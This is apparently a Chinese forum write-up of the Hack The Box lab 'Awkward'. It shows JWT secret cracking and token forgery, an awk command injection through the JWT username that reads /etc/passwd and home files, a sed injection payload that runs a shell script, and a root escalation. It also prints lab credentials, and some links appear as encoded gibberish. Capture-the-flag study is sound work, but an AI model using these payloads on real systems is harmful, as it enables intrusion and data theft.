-
-
[原创]HTB Awkward (MEDIUM)
-
发表于: 2023-1-26 20:15 2184
-
上来还是信息收集,扫端口扫域名,扫目录
还是只开了22和80
扫目录发现的东西还挺多
域名扫出来一个store
需要账号密码
访问首页
发现有很多js文件,查看下有没有可用的信息
在app.js中发现/hr的链接
登陆下/hr看看有啥
登陆界面发现cookie是guest,改成admin试试
刷新页面更改,发现还是不行
改用火狐插件cookie editor
看看数据是从哪里来的
得到/api/store-status 和 /api/staff-details
49dK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2S2N6q4)9J5k6s2k6S2L8r3I4W2P5g2)9J5k6h3S2@1j5W2)9J5c8X3q4H3K9g2)9J5c8Y4y4@1L8%4u0W2i4K6u0V1M7%4c8S2N6s2g2K6i4K6y4r3N6i4u0D9i4K6y4p5i4K6t1#2x3U0u0Z5N6s2c8H3i4K6y4m8i4K6t1#2x3V1k6Q4x3U0f1J5c8Y4y4@1L8%4u0W2i4K6u0W2K9r3q4@1i4K6u0V1N6X3q4D9L8r3g2&6i4K6u0W2K9s2c8T1i4K6t1#2x3U0t1`.
从details得到一个JsonWebTokenError
删掉 cookie后 获得内容
有username和password 的hash尝试找网站解一下
"username":"christopher.jones","password":"chris123"
用它来登陆下/hr
这样我们就获得了他的jwt token
使用工具 jwt2john.py 和 John 破解 jwt 令牌
获得secret 123beany123
前面我们看的请求指向 store.hat-valley.htb
尝试使用SSRF来扫下服务器的其他端口
发现80,3002,8080
425K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2S2N6q4)9J5k6s2k6S2L8r3I4W2P5g2)9J5k6h3S2@1j5W2)9J5c8X3q4H3K9g2)9J5c8Y4y4@1L8%4u0W2i4K6u0V1M7%4c8S2N6s2g2K6i4K6y4r3N6i4u0D9i4K6y4p5i4K6t1#2x3U0u0Z5N6s2c8H3i4K6y4m8i4K6u0r3i4K6u0r3x3e0t1%4i4K6u0W2x3q4)9J5k6e0m8Q4x3X3f1I4i4K6y4m8z5o6l9^5x3q4)9J5y4e0t1J5
查看源码可以看到We're sorry but hat-valley doesn't work properly without JavaScript enabled. Please enable it to continue.
f4bK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3S2S2N6q4)9J5k6s2k6S2L8r3I4W2P5g2)9J5k6h3S2@1j5W2)9J5c8X3q4H3K9g2)9J5c8Y4y4@1L8%4u0W2i4K6u0V1M7%4c8S2N6s2g2K6i4K6y4r3N6i4u0D9i4K6y4p5i4K6t1#2x3U0u0Z5N6s2c8H3i4K6y4m8i4K6u0r3i4K6u0r3x3e0t1%4i4K6u0W2x3q4)9J5k6e0m8Q4x3X3f1I4i4K6y4m8x3K6l9H3x3W2)9J5y4e0t1J5
3002给了api的 实现
all-leave中存在一个本地文件包漏洞
我们可以利用JWT token username
尝试传/' /etc/passwd '
使用jwt.io来生成更改后的jwt token
先请求api/all-leave,在bp中复制token到jwt.io,后更改username和secret
得到 两个用户 bean 和christine
在前面获取到username和passwd hash的时候可以 看的Bean.Hill是网站管理员
查看bean的/home/bean/.bashrc
看的 backup_home,去看一下文件内容
里面有个文件bean_backup_final.tar.gz,下载下来看看
/home/bean/Documents/backup/bean_backup_final.tar.gz
这里有一句重要的MAKE SURE TO USE THIS EVERYWHERE
获得账户密码,ssh连上
username: bean
password: 014mrbeanrules!#P
得到user flag
在/etc/nginx/conf.d下找到加密后的密码
尝试用bean账号密码失败,用admin和bean的密码成功 登录
我们可以在 /var/www/store找到站点的源码
阅读readme
站点没有使用 数据库,用文件存储的
/product-details存储产品的详细信息
/cart存储用户购物车
有物品被添加到 购物车,就会在cart目录下新建个文件
也可以看到目录下运行的具有root权限,新建文件权限为www-data
查看cart-action.php
使用sed命令删除cart文件数据,这里存在rce
具体可见632K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4N6r3k6G2j5X3W2F1M7#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3k6%4c8X3L8$3u0A6L8Y4y4Q4x3V1k6K6k6h3c8Q4x3V1j5`.
构造payload
在tmp目录下写shell
chmod +x /tmp/shell.sh
之后给权限
直接住bp里更改 会得到error
我们也没有 编辑权限,先删掉再新建名字一样的文件
开启监听后,打开bp修改购物车中删除
item=1'+-e+"1e+/tmp/shell.sh"+/tmp/shell.sh+'&user=430a-03c0-353-0ea2&action=delete_item
上线,拿到www-data用户权限了
使用 pspy进行信息收集
可以看到inotifywait正在监控一个叫做leave_requests.csvinside的文件
像文件中添加内容发现它以root权限使用mail命令
把我们的shell填进去
具体可见
5b9K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6Y4N6r3k6G2j5X3W2F1M7#2)9J5k6h3N6A6N6r3S2#2j5W2)9J5k6h3W2G2i4K6u0r3k6%4c8X3L8$3u0A6L8Y4y4Q4x3V1k6E0j5h3W2D9i4K6u0r3
拿到root
参考链接:6c3K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1j5H3P5r3c8W2k6r3W2F1k6X3!0K6k6h3y4Q4x3X3g2$3k6i4u0U0k6h3I4Q4x3X3g2S2M7s2m8Q4x3V1k6T1L8r3!0Y4i4K6u0r3K9r3q4U0K9%4c8Z5k6h3u0G2P5q4)9J5k6r3q4%4K9%4N6S2M7X3c8Q4x3X3c8%4M7X3W2@1k6i4g2H3
{\n href: \
"/hr\"
,\n onClick: _cache[
0
] || (_cache[
0
]
=
function () {\n
return
$options.logout && $options.logout.
apply
($options, arguments);\n })\n
{\n href: \
"/hr\"
,\n onClick: _cache[
0
] || (_cache[
0
]
=
function () {\n
return
$options.logout && $options.logout.
apply
($options, arguments);\n })\n
"christopher.jones"
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1
chris123
"christopher.jones"
e59ae67897757d1a138a46c1f501ce94321e96aa7ec4445e0e97e94f2ec6c8e1
chris123
#!/usr/bin/env python3
import
sys
from
jwt.utils
import
base64url_decode
from
binascii
import
hexlify
def
jwt2john(jwt):
"""
Convert signature from base64 to hex, and separate it from the data by a #
so that John can parse it.
"""
jwt_bytes
=
jwt.encode(
'ascii'
)
parts
=
jwt_bytes.split(b
'.'
)
data
=
parts[
0
]
+
b
'.'
+
parts[
1
]
signature
=
hexlify(base64url_decode(parts[
2
]))
return
(data
+
b
'#'
+
signature).decode(
'ascii'
)
if
__name__
=
=
"__main__"
:
if
len
(sys.argv) !
=
2
:
print
(
"Usage: %s JWT"
%
sys.argv[
0
])
else
:
john
=
jwt2john(sys.argv[
1
])
print
(john)
#!/usr/bin/env python3
import
sys
from
jwt.utils
import
base64url_decode
from
binascii
import
hexlify
def
jwt2john(jwt):
"""
Convert signature from base64 to hex, and separate it from the data by a #
so that John can parse it.
"""
jwt_bytes
=
jwt.encode(
'ascii'
)
parts
=
jwt_bytes.split(b
'.'
)
data
=
parts[
0
]
+
b
'.'
+
parts[
1
]
signature
=
hexlify(base64url_decode(parts[
2
]))
return
(data
+
b
'#'
+
signature).decode(
'ascii'
)
if
__name__
=
=
"__main__"
:
if
len
(sys.argv) !
=
2
:
print
(
"Usage: %s JWT"
%
sys.argv[
0
])
else
:
john
=
jwt2john(sys.argv[
1
])
print
(john)
python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY3MDE3MTU3fQ.M5Yx5hMqtxf3hxrIJSjdLSdubkP6gFPtGzwsDDr7voI > jwt_hash
john
-
w
=
/
home
/
hml189
/
Desktop
/
wordlist
/
rockyou.txt jwt_hash
python3 jwt2john.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImNocmlzdG9waGVyLmpvbmVzIiwiaWF0IjoxNjY3MDE3MTU3fQ.M5Yx5hMqtxf3hxrIJSjdLSdubkP6gFPtGzwsDDr7voI > jwt_hash
john
-
w
=
/
home
/
hml189
/
Desktop
/
wordlist
/
rockyou.txt jwt_hash
app.get(
'/api/all-leave'
, (req, res)
=
> {
const user_token
=
req.cookies.token
var authFailed
=
false
var user
=
null
if
(user_token) {
const decodedToken
=
jwt.verify(user_token, TOKEN_SECRET)
if
(!decodedToken.username) {
authFailed
=
true
}
else
{
user
=
decodedToken.username
}
}
if
(authFailed) {
return
res.status(
401
).json({Error:
"Invalid Token"
})
}
if
(!user) {
return
res.status(
500
).send(
"Invalid user"
)
}
const bad
=
[
";"
,
"&"
,
"|"
,
">"
,
"<"
,
"*"
,
"?"
,
"`"
,
"$"
,
"("
,
")"
,
"{"
,
"}"
,
"["
,
"]"
,
"!"
,
"#"
]
const badInUser
=
bad.some(char
=
> user.includes(char));
if
(badInUser) {
return
res.status(
500
).send(
"Bad character detected."
)
}
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
, {encoding:
'binary'
, maxBuffer:
51200000
}, (error, stdout, stderr)
=
> {
if
(stdout) {
return
res.status(
200
).send(new
Buffer
(stdout,
'binary'
));
}
if
(error) {
return
res.status(
500
).send(
"Failed to retrieve leave requests"
)
}
if
(stderr) {
return
res.status(
500
).send(
"Failed to retrieve leave requests"
)
}
})
})
app.get(
'/api/all-leave'
, (req, res)
=
> {
const user_token
=
req.cookies.token
var authFailed
=
false
var user
=
null
if
(user_token) {
const decodedToken
=
jwt.verify(user_token, TOKEN_SECRET)
if
(!decodedToken.username) {
authFailed
=
true
}
else
{
user
=
decodedToken.username
}
}
if
(authFailed) {
return
res.status(
401
).json({Error:
"Invalid Token"
})
}
if
(!user) {
return
res.status(
500
).send(
"Invalid user"
)
}
const bad
=
[
";"
,
"&"
,
"|"
,
">"
,
"<"
,
"*"
,
"?"
,
"`"
,
"$"
,
"("
,
")"
,
"{"
,
"}"
,
"["
,
"]"
,
"!"
,
"#"
]
const badInUser
=
bad.some(char
=
> user.includes(char));
if
(badInUser) {
return
res.status(
500
).send(
"Bad character detected."
)
}
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
, {encoding:
'binary'
, maxBuffer:
51200000
}, (error, stdout, stderr)
=
> {
if
(stdout) {
return
res.status(
200
).send(new
Buffer
(stdout,
'binary'
));
}
if
(error) {
return
res.status(
500
).send(
"Failed to retrieve leave requests"
)
}
if
(stderr) {
return
res.status(
500
).send(
"Failed to retrieve leave requests"
)
}
})
})
user
=
decodedToken.username
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
, {encoding:
'binary'
, maxBuffer:
51200000
}
user
=
decodedToken.username
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
, {encoding:
'binary'
, maxBuffer:
51200000
}
user
=
/
' /etc/passwd '
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
)
user
=
/
' /etc/passwd '
exec
(
"awk '/"
+
user
+
"/' /var/www/private/leave_requests.csv"
)
{
"username"
:
"/' /home/bean/.bashrc '"
,
"iat"
:
1674721523
}
{
"username"
:
"/' /home/bean/.bashrc '"
,
"iat"
:
1674721523
}
{
"username"
:
"/' /home/bean/Documents/backup_home.sh '"
,
"iat"
:
1674721523
}
{
"username"
:
"/' /home/bean/Documents/backup_home.sh '"
,
"iat"
:
1674721523
}
{
"username"
:
"/' /home/bean/Documents/backup/bean_backup_final.tar.gz '"
,
"iat"
:
1674721523
}
curl http:
/
/
hat
-
valley.htb
/
api
/
all
-
leave
-
-
header
"Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ii8nIC9ob21lL2JlYW4vRG9jdW1lbnRzL2JhY2t1cC9iZWFuX2JhY2t1cF9maW5hbC50YXIuZ3ogJyIsImlhdCI6MTY3NDcyMTUyM30.3Ah1cku0QrDMIvdth_mCIkCxuoAsvVe2Vrvy-DwHSfE"
-
-
output bean_backup_final.
zip
{
"username"
:
"/' /home/bean/Documents/backup/bean_backup_final.tar.gz '"
,